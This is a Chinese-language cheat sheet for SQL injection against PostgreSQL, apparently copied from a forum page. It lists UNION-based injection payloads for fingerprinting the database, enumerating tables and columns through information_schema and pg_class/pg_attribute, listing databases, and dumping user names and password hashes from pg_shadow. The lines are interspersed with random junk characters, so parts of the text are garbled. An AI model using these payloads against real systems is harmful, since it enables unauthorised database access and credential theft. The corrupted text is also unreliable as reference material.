结合了MSSQL MySQL Oracle的一些特点3 ^( X' r5 k' Y# _: m- h( \9 p
支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/
5 t: Q5 I5 @7 k2 s6 o0 z+ h连接符: %20 , + , /**/ 内置函数:
: @* d' ~4 z9 _$ V; Vcurrent_database() //当前数据库名' Q# c5 M2 ~* D6 h: _- I6 H u
session_user //会话用户: I6 P% a! b( s1 a: c% v# T/ V
current_user //当前数据库用户; a" ]% ]+ p" t, K
user //当前用户
" \* }' V1 |% B( q* bversion() //数据库版本 Union注射:
- O4 t! r# [; v7 s0 ~8 c; W* Uorder by n–
1 @9 t$ l( |3 i( Land 1=2 union select null,null,null–0 k% T: y# ` O# R( Y5 y. O+ J* q
and 1=2 union select ‘beach’,null,null–$ k, A# J0 b) L, W- W
and 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):
2 ~- v$ Z' w. J6 j t+ igroup_concat(table_name)+ n. m* f6 x# ^) Q9 d$ V! K f
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–$ X. A$ x; w7 e( K4 i6 _0 T
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
8 N6 a( }. G1 p0 A(老版本)8 [. ]8 v; B# j/ x/ H2 C
pg_class.oid对应pg_attribute.attrelid: Y4 @3 {6 Z, F2 W3 l7 p
pg_class.relname表名% x. B) k5 g4 D* O
pg_attribute.attname字段名 select relname from pg_class获取表名% k$ |2 } }) l L% ?
select oid from pg_class where 条件 获取参数
* P" i! Z) e3 \select attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:
* C3 {9 X# d; A# qand 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
0 L. f) R- ]3 p, j* ]/ r4 I d* Mand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–7 I$ m/ L8 \! c/ L( v; G7 g5 W, G# s
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
9 ?/ u* X k; Y! z B* s======================================================================
3 r) A5 W9 ~6 K- C. n# land 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
; L( Q9 h* V7 s4 \- t+ Xand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |